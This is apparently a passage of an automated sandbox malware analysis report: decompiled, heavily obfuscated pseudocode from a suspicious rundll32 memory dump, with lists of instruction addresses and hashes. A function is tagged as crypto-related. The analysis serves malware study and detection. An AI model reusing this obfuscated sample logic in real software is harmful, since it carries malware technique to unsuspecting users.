							_t517 =  *((intOrPtr*)(_t579 + 0x41f064))( *(_t744 - 0x10), _t718);
							 *(_t579 + 0x41cfe1) =  *(_t579 + 0x41cfe1) & 0x00000000;
							 *(_t579 + 0x41cfe1) =  *(_t579 + 0x41cfe1) | _t744 ^  *_t763 ^ _t517;
							_t744 = _t744;
						}
						_t761 =  &(_t763[1]);
						 *_t761 =  *_t761 ^ _t744;
						 *_t761 = _t718;
						 *_t761 = _t517 & 0x00000000 |  *_t763;
						_t522 = 0;
						 *_t761 = _t657;
						 *((intOrPtr*)( *((intOrPtr*)(_t744 - 8)))) = _t522;
						_t660 = 0;
						 *_t415 = _t744;
						 *_t761 = 4;
						_t523 = _t579;
						 *_t417 = 0 ^  *(_t744 - 0x14);
						 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t523;
						_push( *(_t744 - 0x14));
						_pop(_t712);
						_t651 = _t660;
						 *_t422 =  *((intOrPtr*)(_t744 - 8));
						 *(_t744 - 0x10) =  *(_t744 - 0x10) + _t523;
						_push( *(_t744 - 0x10));
						_pop( *_t426);
						_t570 = _t579;
					} while ( *_t712 != 0);
					_t680 = _t685 + 0x14;
					_t701 = _t712;
				} while ( *_t680 != 0 ||  *(_t680 + 0x10) != 0);
				 *_t761 =  *_t761 ^ _t523;
				_t555 = _t523;
				return _t555;
			}

























































































































                                                                          0x00125262
                                                                          0x00125262
                                                                          0x00125268
                                                                          0x0012526f
                                                                          0x00125272
                                                                          0x0012527b
                                                                          0x0012527c
                                                                          0x0012527f
                                                                          0x00125282
                                                                          0x00125288
                                                                          0x00125290
                                                                          0x00125297
                                                                          0x001252a0
                                                                          0x001252a6
                                                                          0x001252ac
                                                                          0x001252ad
                                                                          0x001252b1
                                                                          0x001252b4
                                                                          0x001252ba
                                                                          0x001252c2
                                                                          0x001252c9
                                                                          0x001252d2
                                                                          0x001252da
                                                                          0x001252de
                                                                          0x001252df
                                                                          0x001252e5
                                                                          0x001252e6
                                                                          0x001252ea
                                                                          0x001252ed
                                                                          0x001252f3
                                                                          0x001252f4
                                                                          0x001252f8
                                                                          0x001252fb
                                                                          0x00125303
                                                                          0x0012530a
                                                                          0x00125310
                                                                          0x00125311
                                                                          0x00125314
                                                                          0x00125405
                                                                          0x0012540b
                                                                          0x0012540c
                                                                          0x00125413
                                                                          0x00125417
                                                                          0x0012541a
                                                                          0x00125421
                                                                          0x00125424
                                                                          0x00125427
                                                                          0x00125433
                                                                          0x0012543a
                                                                          0x00125440
                                                                          0x0012531a
                                                                          0x0012531a
                                                                          0x00125320
                                                                          0x0012532a
                                                                          0x0012532d
                                                                          0x00125333
                                                                          0x0012533a
                                                                          0x00125343
                                                                          0x00125346
                                                                          0x00125349
                                                                          0x0012534c
                                                                          0x0012534d
                                                                          0x00125356
                                                                          0x00125359
                                                                          0x00125365
                                                                          0x0012536c
                                                                          0x00125372
                                                                          0x00125372
                                                                          0x00125445
                                                                          0x00125445
                                                                          0x00125448
                                                                          0x0012544f
                                                                          0x00125452
                                                                          0x00125455
                                                                          0x0012545d
                                                                          0x00125464
                                                                          0x0012546a
                                                                          0x0012546b
                                                                          0x0012546e
                                                                          0x00125477
                                                                          0x0012547a
                                                                          0x00125480
                                                                          0x00125487
                                                                          0x0012548a
                                                                          0x00125491
                                                                          0x00125495
                                                                          0x00125498
                                                                          0x001254a0
                                                                          0x001254a3
                                                                          0x001254aa
                                                                          0x001254ad
                                                                          0x001254b0
                                                                          0x001254b3
                                                                          0x001254b4
                                                                          0x001254b5
                                                                          0x001254c4
                                                                          0x001254c6
                                                                          0x001254cb
                                                                          0x001254cd
                                                                          0x001254d6
                                                                          0x001254d9
                                                                          0x001254df
                                                                          0x001254e6
                                                                          0x001254e9
                                                                          0x001254e9
                                                                          0x001254ef
                                                                          0x001254f7
                                                                          0x001254fe
                                                                          0x00125504
                                                                          0x00125507
                                                                          0x00125515
                                                                          0x00125519
                                                                          0x0012551d
                                                                          0x00125520
                                                                          0x00125527
                                                                          0x0012552b
                                                                          0x0012552e
                                                                          0x00125535
                                                                          0x00125539
                                                                          0x0012553c
                                                                          0x00125542
                                                                          0x0012554a
                                                                          0x00125551
                                                                          0x00125557
                                                                          0x0012555a
                                                                          0x00125562
                                                                          0x00125565
                                                                          0x00125568
                                                                          0x0012556b
                                                                          0x0012556e
                                                                          0x0012556f
                                                                          0x00125576
                                                                          0x00125579
                                                                          0x0012557c
                                                                          0x00125582
                                                                          0x0012558c
                                                                          0x00125595
                                                                          0x00125596
                                                                          0x00125599
                                                                          0x0012559c
                                                                          0x001255a2
                                                                          0x001255a5
                                                                          0x001255a8
                                                                          0x001255ab
                                                                          0x001255ad
                                                                          0x001255b1
                                                                          0x001255b4
                                                                          0x001255bb
                                                                          0x001255be
                                                                          0x001255c1
                                                                          0x001255c7
                                                                          0x001255cf
                                                                          0x001255d6
                                                                          0x001255dc
                                                                          0x001255e8
                                                                          0x001255eb
                                                                          0x001255ed
                                                                          0x001255f0
                                                                          0x001255f1
                                                                          0x001255fb
                                                                          0x001255fe
                                                                          0x00125607
                                                                          0x0012560a
                                                                          0x00125611
                                                                          0x00125614
                                                                          0x00125617
                                                                          0x0012561d
                                                                          0x00125624
                                                                          0x00125627
                                                                          0x0012562f
                                                                          0x00125632
                                                                          0x00125635
                                                                          0x0012563c
                                                                          0x0012563d
                                                                          0x00125640
                                                                          0x0012564e
                                                                          0x00125650
                                                                          0x00125653
                                                                          0x00125655
                                                                          0x0012565b
                                                                          0x00125662
                                                                          0x00125665
                                                                          0x0012566b
                                                                          0x00125675
                                                                          0x00125678
                                                                          0x0012567e
                                                                          0x00125685
                                                                          0x0012568b
                                                                          0x0012568b
                                                                          0x00125694
                                                                          0x0012569c
                                                                          0x001256a0
                                                                          0x001256a4
                                                                          0x001256a6
                                                                          0x001256a8
                                                                          0x001256ac
                                                                          0x001256af
                                                                          0x001256b8
                                                                          0x001256bb
                                                                          0x001256c2
                                                                          0x001256c6
                                                                          0x001256c9
                                                                          0x001256cf
                                                                          0x001256d6
                                                                          0x001256dc
                                                                          0x001256e1
                                                                          0x001256e4
                                                                          0x001256e8
                                                                          0x001256eb
                                                                          0x001256ee
                                                                          0x001256f4
                                                                          0x001256fe
                                                                          0x00125701
                                                                          0x00125707
                                                                          0x0012570f
                                                                          0x00125716
                                                                          0x0012571f
                                                                          0x00125725
                                                                          0x0012572f
                                                                          0x00125732
                                                                          0x00125738
                                                                          0x00125742
                                                                          0x00125745
                                                                          0x0012574b
                                                                          0x00125753
                                                                          0x0012575a
                                                                          0x00125760
                                                                          0x0012576c
                                                                          0x0012576f
                                                                          0x00125777
                                                                          0x0012577b
                                                                          0x0012577e
                                                                          0x00125781
                                                                          0x0012578a
                                                                          0x0012578d
                                                                          0x00125794
                                                                          0x00125797
                                                                          0x0012579a
                                                                          0x001257a0
                                                                          0x001257a7
                                                                          0x001257ad
                                                                          0x001257b0
                                                                          0x001257b6
                                                                          0x00125a4d
                                                                          0x00125a51
                                                                          0x00125a59
                                                                          0x00125a5c
                                                                          0x00125a5f
                                                                          0x00125a67
                                                                          0x00125a6e
                                                                          0x00125a74
                                                                          0x00125a75
                                                                          0x00125a7f
                                                                          0x00125a83
                                                                          0x00125a8d
                                                                          0x00125a91
                                                                          0x00125a94
                                                                          0x00125a9a
                                                                          0x00125aa1
                                                                          0x00125aa7
                                                                          0x00125aaa
                                                                          0x00125ab8
                                                                          0x00125abb
                                                                          0x00125ac5
                                                                          0x00125ac9
                                                                          0x00125acc
                                                                          0x00125ad2
                                                                          0x00125ada
                                                                          0x00125ae1
                                                                          0x00125ae7
                                                                          0x001257bc
                                                                          0x001257bc
                                                                          0x001257c3
                                                                          0x001257c6
                                                                          0x001257c9
                                                                          0x001257cf
                                                                          0x001257d9
                                                                          0x001257dc
                                                                          0x001257e3
                                                                          0x001257e6
                                                                          0x001257e9
                                                                          0x001257f5
                                                                          0x001257f8
                                                                          0x001257fd
                                                                          0x00125801
                                                                          0x00125804
                                                                          0x00125806
                                                                          0x00125807
                                                                          0x00125816
                                                                          0x00125818
                                                                          0x0012581d
                                                                          0x0012581f
                                                                          0x00125826
                                                                          0x0012582a
                                                                          0x0012582d
                                                                          0x00125836
                                                                          0x00125839
                                                                          0x00125839
                                                                          0x00125845
                                                                          0x0012584c
                                                                          0x00125852
                                                                          0x00125854
                                                                          0x00125858
                                                                          0x0012585b
                                                                          0x00125864
                                                                          0x0012586d
                                                                          0x0012586e
                                                                          0x00125871
                                                                          0x00125874
                                                                          0x0012587a
                                                                          0x0012587c
                                                                          0x00125883
                                                                          0x00125887
                                                                          0x0012588a
                                                                          0x00125890
                                                                          0x0012589a
                                                                          0x0012589d
                                                                          0x001258a3
                                                                          0x001258aa
                                                                          0x001258ad
                                                                          0x001258b9
                                                                          0x001258bc
                                                                          0x001258c3
                                                                          0x001258c6
                                                                          0x001258c9
                                                                          0x001258cc
                                                                          0x001258cd
                                                                          0x001258ce
                                                                          0x001258dd
                                                                          0x001258df
                                                                          0x001258e4
                                                                          0x001258e6
                                                                          0x001258ef
                                                                          0x001258f2
                                                                          0x001258f9
                                                                          0x001258fd
                                                                          0x00125900
                                                                          0x00125900
                                                                          0x00125908
                                                                          0x0012590f
                                                                          0x00125915
                                                                          0x00125918
                                                                          0x0012591c
                                                                          0x00125920
                                                                          0x00125922
                                                                          0x00125923
                                                                          0x00125929
                                                                          0x00125930
                                                                          0x00125933
                                                                          0x00125939
                                                                          0x00125943
                                                                          0x00125946
                                                                          0x0012594c
                                                                          0x00125954
                                                                          0x0012595b
                                                                          0x0012596f
                                                                          0x00125970
                                                                          0x00125977
                                                                          0x0012597b
                                                                          0x0012597e
                                                                          0x00125987
                                                                          0x0012598a
                                                                          0x00125996
                                                                          0x0012599d
                                                                          0x001259a3
                                                                          0x001259a4
                                                                          0x001259a5
                                                                          0x001259a8
                                                                          0x001259ab
                                                                          0x001259ae
                                                                          0x001259b4
                                                                          0x001259bb
                                                                          0x001259be
                                                                          0x001259c7
                                                                          0x001259ca
                                                                          0x001259d2
                                                                          0x001259d9
                                                                          0x001259df
                                                                          0x001259e2
                                                                          0x001259e5
                                                                          0x001259e8
                                                                          0x001259ef
                                                                          0x001259f3
                                                                          0x001259f6
                                                                          0x001259ff
                                                                          0x00125a02
                                                                          0x00125a08
                                                                          0x00125a10
                                                                          0x00125a17
                                                                          0x00125a1d
                                                                          0x00125a1d
                                                                          0x00125aea
                                                                          0x00125af8
                                                                          0x00125afb
                                                                          0x00125b01
                                                                          0x00125b0b
                                                                          0x00125b0e
                                                                          0x00125b17
                                                                          0x00125b1a
                                                                          0x00125b23
                                                                          0x00125b26
                                                                          0x00125b35
                                                                          0x00125b3a
                                                                          0x00125b3e
                                                                          0x00125b41
                                                                          0x00125b43
                                                                          0x00125b44
                                                                          0x00125b4f
                                                                          0x00125b51
                                                                          0x00125b56
                                                                          0x00125b58
                                                                          0x00125b5f
                                                                          0x00125b63
                                                                          0x00125b66
                                                                          0x00125b6c
                                                                          0x00125b73
                                                                          0x00125b76
                                                                          0x00125b76
                                                                          0x00125b7d
                                                                          0x00125b83
                                                                          0x00125b8e
                                                                          0x00125b92
                                                                          0x00125b93
                                                                          0x00125b9c
                                                                          0x00125b9f
                                                                          0x00125ba5
                                                                          0x00125baf
                                                                          0x00125bb2
                                                                          0x00125bbe
                                                                          0x00125bc5
                                                                          0x00125bcb
                                                                          0x00125bcc
                                                                          0x00125bda
                                                                          0x00125bde
                                                                          0x00125be1
                                                                          0x00125be4
                                                                          0x00125beb
                                                                          0x00125bee
                                                                          0x00125bf1
                                                                          0x00125bf7
                                                                          0x00125bfe
                                                                          0x00125c01
                                                                          0x00125c07
                                                                          0x00125c0f
                                                                          0x00125c16
                                                                          0x00125c1c
                                                                          0x00125c28
                                                                          0x00125c2b
                                                                          0x00125c35
                                                                          0x00125c38
                                                                          0x00125c3e
                                                                          0x00125c48
                                                                          0x00125c4b
                                                                          0x00125c52
                                                                          0x00125c56
                                                                          0x00125c59
                                                                          0x00125c65
                                                                          0x00125c6c
                                                                          0x00125c72
                                                                          0x00125c73
                                                                          0x00125c79
                                                                          0x00125c83
                                                                          0x00125c86
                                                                          0x00125c8c
                                                                          0x00125c96
                                                                          0x00125c99
                                                                          0x00125c9f
                                                                          0x00125ca9
                                                                          0x00125cac
                                                                          0x00125cb2
                                                                          0x00125cbc
                                                                          0x00125cbf
                                                                          0x00125ccb
                                                                          0x00125cce
                                                                          0x00125cd5
                                                                          0x00125cd8
                                                                          0x00125cdb
                                                                          0x00125cde
                                                                          0x00125cdf
                                                                          0x00125ce0
                                                                          0x00125cef
                                                                          0x00125cf1
                                                                          0x00125cf6
                                                                          0x00125cf8
                                                                          0x00125cff
                                                                          0x00125d03
                                                                          0x00125d06
                                                                          0x00125d0c
                                                                          0x00125d16
                                                                          0x00125d19
                                                                          0x00125d25
                                                                          0x00125d2c
                                                                          0x00125d32
                                                                          0x00125d32
                                                                          0x00125d3c
                                                                          0x00125d40
                                                                          0x00125d43
                                                                          0x00125d48
                                                                          0x00125d52
                                                                          0x00125d55
                                                                          0x00125d5c
                                                                          0x00125d5e
                                                                          0x00125d61
                                                                          0x00125d68
                                                                          0x00125d6f
                                                                          0x00125d74
                                                                          0x00125d77
                                                                          0x00125d7a
                                                                          0x00125d7d
                                                                          0x00125d7e
                                                                          0x00125d85
                                                                          0x00125d88
                                                                          0x00125d8b
                                                                          0x00125d8e
                                                                          0x00125d91
                                                                          0x00125d92
                                                                          0x00125da4
                                                                          0x00125da6
                                                                          0x00125da7
                                                                          0x00125dbb
                                                                          0x00125dbe
                                                                          0x00125dd0

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2616795092f367d06362dbc9c4ea195590f79d012455bc9ff3e9898c1f741067
                                                                          • Instruction ID: 04a62d64efbbd83e3f54367bab8a39a3f46deeb10c88c9075bf65ba23f270797
                                                                          • Opcode Fuzzy Hash: 2616795092f367d06362dbc9c4ea195590f79d012455bc9ff3e9898c1f741067
                                                                          • Instruction Fuzzy Hash: C1724272844219DFEF04DFA0C9897EEBBF1FF08311F19486AD889AA145D7341664CBA9
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00125378, Relevance: .7, Instructions: 726COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 88%
                                                                          			E00125378(signed int __ebx, signed int __ecx, intOrPtr* __edi, signed int __esi) {
				void* _t419;
				void* _t421;
				signed int _t422;
				signed int _t425;
				signed int _t428;
				intOrPtr _t430;
				signed int _t432;
				void* _t434;
				signed int _t435;
				signed int _t438;
				signed int _t443;
				signed int _t449;
				void* _t450;
				signed int _t454;
				void* _t456;
				intOrPtr _t457;
				intOrPtr _t460;
				signed int _t462;
				void* _t463;
				signed int _t465;
				signed int _t470;
				signed int _t472;
				signed int _t475;
				signed int _t478;
				signed int _t482;
				void* _t484;
				void* _t485;
				signed int _t488;
				signed int _t493;
				signed int _t498;
				void* _t499;
				signed int _t501;
				void* _t503;
				signed int _t504;
				intOrPtr _t509;
				signed int _t510;
				signed int _t512;
				void* _t514;
				signed int _t515;
				signed int _t519;
				void* _t521;
				signed int _t522;
				signed int _t525;
				signed int _t528;
				intOrPtr _t531;
				signed int _t539;
				signed int _t541;
				void* _t542;
				signed int _t551;
				signed int _t554;
				signed int _t557;
				signed int _t559;
				signed int _t562;
				void* _t564;
				void* _t566;
				signed int _t573;
				signed int _t575;
				void* _t576;
				signed int _t581;
				signed int _t583;
				void* _t586;
				signed int _t588;
				signed int _t590;
				signed int _t596;
				void* _t599;
				signed int _t602;
				signed int _t605;
				signed int _t607;
				signed int _t610;
				signed int _t612;
				signed int _t614;
				signed int _t616;
				signed int _t619;
				signed int _t622;
				signed int _t626;
				signed int _t629;
				signed int _t632;
				signed int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t644;
				signed int _t647;
				void* _t650;
				signed int _t654;
				signed int _t656;
				signed int _t659;
				signed int _t662;
				intOrPtr* _t665;
				signed int _t667;
				signed int _t670;
				signed int _t673;
				void* _t676;
				signed int _t678;
				void* _t679;
				signed int _t681;
				signed int _t687;
				signed int _t690;
				void* _t691;
				signed int _t693;
				signed int _t694;
				signed int _t697;
				signed int _t700;
				signed int _t703;
				signed int _t714;
				signed int _t717;
				signed int _t718;
				signed int _t726;
				void* _t727;
				signed int _t729;
				signed int* _t739;
				signed int* _t740;
				signed int* _t741;
				signed int* _t742;
				signed int* _t743;
				signed int* _t744;
				signed int* _t745;
				signed int* _t746;
				signed int* _t747;

				_t686 = __esi;
				_t665 = __edi;
				_t551 = __ebx;
				_push(__esi);
				 *_t739 =  *_t739 ^ __esi;
				 *_t739 =  *_t739 | __ebx + 0x0041c174;
				_t419 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_t619);
				 *_t739 =  *_t739 - _t619;
				 *_t739 =  *_t739 + _t419;
				_push(__edi);
				 *_t739 =  *_t739 & 0x00000000;
				 *_t739 =  *_t739 + __ebx + 0x41c53c;
				_t421 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t740 = _t739 - 0xfffffffc;
				 *(_t726 - 0x14) = _t619;
				_push((__ecx & 0x00000000 ^  *_t739) + _t421);
				_t622 =  *(_t726 - 0x14);
				_pop(_t422);
				 *(_t726 - 0x14) = _t422;
				_t425 =  *(_t726 - 0x14);
				if((0 ^  *(__ebx + 0x41c2dd)) > _t425) {
					 *__esp =  *__esp & 0x00000000;
					 *__esp =  *__esp + __ebx + 0x41c174;
					 *(__ebp - 0x14) =  *(__ebp - 0x14) & 0x00000000;
					 *__esp =  *__esp | __ebx + 0x0041c53c;
					 *((intOrPtr*)(__ebx + 0x41f064))( *(__ebp - 0x14), __ecx);
				}
				 *_t33 = _t425;
				 *_t35 =  *(_t726 - 0x14);
				while(1) {
					L5:
					 *_t36 =  *_t665;
					_t687 =  *(_t726 - 0x14);
					_t38 = _t551 + 0x41d32a; // 0x41d32a
					 *_t740 =  *_t740 & 0x00000000;
					 *_t740 =  *_t740 ^ _t38;
					_t39 = _t551 + 0x41cdb4; // 0x41cdb4
					 *_t740 =  *_t740 ^ _t726;
					 *_t740 = _t39;
					_t428 =  *((intOrPtr*)(_t551 + 0x41f068))(_t726, _t726);
					 *(_t551 + 0x41cada) =  *(_t551 + 0x41cada) & 0x00000000;
					 *(_t551 + 0x41cada) =  *(_t551 + 0x41cada) | _t622 & 0x00000000 ^ _t428;
					_t622 = _t622;
					while(1) {
						_t626 =  *_t740;
						 *_t740 =  *(_t665 + 0x10);
						_t47 = _t551 + 0x41c661; // 0x41c661
						 *_t740 =  *_t740 ^ _t726;
						 *_t740 =  *_t740 + _t47;
						_t430 =  *((intOrPtr*)(_t551 + 0x41f060))(_t622);
						 *_t740 = _t687;
						 *((intOrPtr*)(_t551 + 0x41d31e)) = _t430;
						_t690 = 0;
						 *_t50 = _t726;
						_t51 = _t551 + 0x41c5b3; // 0x41c5b3
						 *_t740 = _t51;
						_t432 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x10));
						 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
						 *_t740 =  *_t740 ^ _t432;
						_t57 = _t551 + 0x41c868; // 0x41c868
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 ^ _t57;
						_t434 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x14));
						 *_t59 = _t665;
						_t573 = 0 ^  *(_t726 - 0x10);
						 *_t61 = _t434;
						 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t573;
						_push( *(_t726 - 0x14));
						_pop(_t435);
						_t667 = _t665;
						 *(_t726 - 0x14) = _t435;
						_t575 = _t573 & 0x00000000 ^ _t435 & 0x00000000 ^  *(_t551 + 0x41c633);
						_t438 =  *(_t726 - 0x14);
						if(_t575 > _t438) {
							_t68 = _t551 + 0x41c5b3; // 0x41c5b3
							 *_t740 = _t68;
							_t70 = _t551 + 0x41c868; // 0x41c868
							 *(_t726 - 0x10) =  *(_t726 - 0x10) & 0x00000000;
							 *_t740 =  *_t740 | _t70;
							_t438 =  *((intOrPtr*)(_t551 + 0x41f064))( *(_t726 - 0x10),  *(_t726 - 0x14));
						}
						 *(_t726 - 0x10) = _t626;
						 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) & 0x00000000;
						 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) | _t626 & 0x00000000 ^ _t438;
						_t629 =  *(_t726 - 0x10);
						 *(_t726 - 0x10) = _t551;
						_t554 =  *(_t726 - 0x10);
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 | _t438 & 0x00000000 | _t551 & 0x00000000 ^  *(_t726 + 8);
						_t84 = _t554 + 0x41c812; // 0x41c812
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 + _t84;
						_t85 = _t554 + 0x41ca65; // 0x41ca65
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 | _t85;
						_t443 =  *((intOrPtr*)(_t554 + 0x41f068))(_t575, _t690);
						 *(_t726 - 0x14) = _t667;
						 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) & 0x00000000;
						 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) ^ (_t667 -  *(_t726 - 0x14) | _t443);
						_t670 =  *(_t726 - 0x14);
						 *_t94 = _t575;
						 *_t740 =  *_t740 ^ _t690;
						_push( *((intOrPtr*)(_t726 - 8)));
						_pop(_t691);
						 *((intOrPtr*)(_t726 - 8)) = _t691 +  *(_t726 - 0x10);
						_t693 = 0;
						_t98 = _t554 + 0x41d15d; // 0x41d15d
						 *_t740 =  *_t740 - _t575;
						 *_t740 = _t98;
						_t99 = _t554 + 0x41c260; // 0x41c260
						 *(_t726 - 0x10) = 0;
						 *_t740 =  *_t740 | _t99;
						_push( *((intOrPtr*)(_t554 + 0x41f068))( *(_t726 - 0x10), _t575));
						_pop( *_t103);
						_push( *(_t726 - 0x10));
						_pop( *_t105);
						_push( *((intOrPtr*)(_t670 + 0xc)));
						_pop( *_t107);
						_push( *(_t726 - 0x14));
						_pop(_t576);
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 + _t576;
						_t109 = _t554 + 0x41ca52; // 0x41ca52
						 *_t740 =  *_t740 - _t554;
						 *_t740 =  *_t740 + _t109;
						_t449 =  *((intOrPtr*)(_t554 + 0x41f060))(_t554, _t554);
						 *(_t726 - 0x14) = _t629;
						 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) & 0x00000000;
						 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) | _t629 -  *(_t726 - 0x14) ^ _t449;
						_t632 =  *(_t726 - 0x14);
						_t741 = _t740 - 0xfffffffc;
						_push(0);
						 *_t741 =  *_t741 | _t449;
						_push( *_t740);
						_pop(_t450);
						 *_t741 = _t450 +  *(_t726 + 8);
						_t120 = _t554 + 0x41c07f; // 0x41c07f
						 *_t741 = _t120;
						_t454 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
						 *_t741 =  *_t741 - _t632;
						 *_t741 =  *_t741 | _t454;
						_t123 = _t554 + 0x41d248; // 0x41d248
						 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
						 *_t741 =  *_t741 | _t123;
						_t456 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x14), _t632);
						_t581 =  *_t741;
						_t742 =  &(_t741[1]);
						 *(_t726 - 0x10) = _t554;
						_push(_t581 + _t456);
						_t557 =  *(_t726 - 0x10);
						_pop(_t457);
						_t583 = _t581 & 0x00000000 ^ _t632 -  *_t742 ^  *(_t557 + 0x41d0e6);
						_t635 = _t632;
						if(_t583 > _t457) {
							_t131 = _t557 + 0x41c07f; // 0x41c07f
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t742 =  *_t742 + _t131;
							_t135 = _t557 + 0x41d248; // 0x41d248
							 *(_t726 - 0x14) = 0;
							 *_t742 =  *_t742 | _t135;
							_t457 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x14),  *(_t726 - 0x14));
							 *(_t726 - 0x10) = _t693;
							 *((intOrPtr*)(_t557 + 0x41cd68)) = _t457;
							_t693 =  *(_t726 - 0x10);
						}
						_pop( *_t142);
						 *_t742 = _t583 & 0x00000000 ^  *(_t726 - 0x10);
						_t586 = _t693;
						_t694 = _t586 +  *(_t726 + 8);
						_t588 = 0;
						 *_t742 =  *_t742 & 0x00000000;
						 *_t742 =  *_t742 | _t588;
						_t145 = _t557 + 0x41d135; // 0x41d135
						 *_t742 = _t145;
						_t147 = _t557 + 0x41c60e; // 0x41c60e
						 *_t742 =  *_t742 & 0x00000000;
						 *_t742 =  *_t742 | _t147;
						_t460 =  *((intOrPtr*)(_t557 + 0x41f068))(_t588,  *(_t726 - 0x10), _t457);
						 *(_t726 - 0x14) = _t635;
						 *((intOrPtr*)(_t557 + 0x41c3e6)) = _t460;
						_t638 =  *(_t726 - 0x14);
						_t590 =  *_t742;
						_t743 = _t742 - 0xfffffffc;
						 *_t743 =  *_t743 - _t638;
						 *_t743 =  *_t743 ^ _t590;
						_t152 = _t557 + 0x41c220; // 0x41c220
						 *(_t726 - 0x14) = 0;
						 *_t743 =  *_t743 + _t152;
						_t462 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14), _t638);
						 *(_t726 - 0x10) = _t590;
						 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) & 0x00000000;
						 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) ^ (_t590 ^  *(_t726 - 0x10) | _t462);
						_t463 =  *((intOrPtr*)(_t557 + 0x41f054))();
						 *(_t726 - 0x14) = 0;
						 *_t743 =  *_t743 + _t463;
						_t166 = _t557 + 0x41c49b; // 0x41c49b
						 *(_t726 - 0x10) = 0;
						 *_t743 =  *_t743 + _t166;
						_t465 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
						 *(_t726 - 0x14) = _t694;
						 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) & 0x00000000;
						 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) | _t694 & 0x00000000 ^ _t465;
						_t697 =  *(_t726 - 0x14);
						_t744 = _t743 - 0xfffffffc;
						 *(_t726 - 0x10) = _t638;
						 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
						 *(_t726 - 4) =  *(_t726 - 4) ^ _t638 -  *(_t726 - 0x10) ^ _t465 & 0x00000000 ^  *_t743;
						_t641 =  *(_t726 - 0x10);
						_t183 = _t557 + 0x41c279; // 0x41c279
						 *_t744 = _t183;
						_t185 = _t557 + 0x41d1ea; // 0x41d1ea
						 *_t744 =  *_t744 - _t697;
						 *_t744 = _t185;
						_t470 =  *((intOrPtr*)(_t557 + 0x41f068))(_t697,  *(_t726 - 0x14));
						 *(_t726 - 0x14) =  *(_t726 - 0x10);
						 *(_t557 + 0x41cbc5) = 0 ^ _t470;
						_t596 =  *(_t726 - 0x14);
						do {
							L11:
							if(( *_t697 & 0x80000000) != 0) {
								_t744[1] =  *_t697;
								_t559 = _t557;
								 *_t744 =  *_t744 ^ _t697;
								 *_t744 =  *_t744 ^ _t559 + 0x0041d099;
								_t472 =  *((intOrPtr*)(_t559 + 0x41f060))(_t726);
								 *_t744 = _t596;
								 *(_t559 + 0x41c24c) = 0 ^ _t472;
								_t599 = 0;
								 *_t289 = _t697;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 + _t559 + 0x41cdd2;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 | _t559 + 0x0041c846;
								_t475 =  *((intOrPtr*)(_t559 + 0x41f068))(_t726, _t670);
								 *(_t726 - 0x10) = _t641;
								 *(_t559 + 0x41c9fe) = 0 ^ _t475;
								_t644 =  *(_t726 - 0x10);
								 *(_t726 - 0xc) =  *(_t726 - 0xc) & 0x0000ffff;
								 *_t744 =  *_t744 ^ _t644;
								 *_t744 =  *_t744 | _t559 + 0x0041c9e4;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 ^ _t559 + 0x0041c746;
								_t478 =  *((intOrPtr*)(_t559 + 0x41f068))(_t644, _t644);
								 *(_t726 - 0x14) = _t644;
								 *(_t559 + 0x41c559) =  *(_t559 + 0x41c559) & 0x00000000;
								 *(_t559 + 0x41c559) =  *(_t559 + 0x41c559) ^ (_t644 ^  *(_t726 - 0x14) | _t478);
								_t647 =  *(_t726 - 0x14);
							} else {
								_t192 = _t557 + 0x41c8e1; // 0x41c8e1
								 *_t744 =  *_t744 - _t641;
								 *_t744 =  *_t744 | _t192;
								_t512 =  *((intOrPtr*)(_t557 + 0x41f060))(_t641);
								 *(_t726 - 0x10) = 0;
								 *_t744 =  *_t744 | _t512;
								_t196 = _t557 + 0x41c6e2; // 0x41c6e2
								 *_t744 =  *_t744 - _t557;
								 *_t744 =  *_t744 | _t196;
								_t514 =  *((intOrPtr*)(_t557 + 0x41f060))(_t557,  *(_t726 - 0x10));
								_t610 = (_t596 & 0x00000000) +  *_t744;
								_t747 = _t744 - 0xfffffffc;
								 *_t747 =  *_t747 + _t670;
								_t676 = _t514;
								_t515 = _t676 + _t610;
								_t678 = 0;
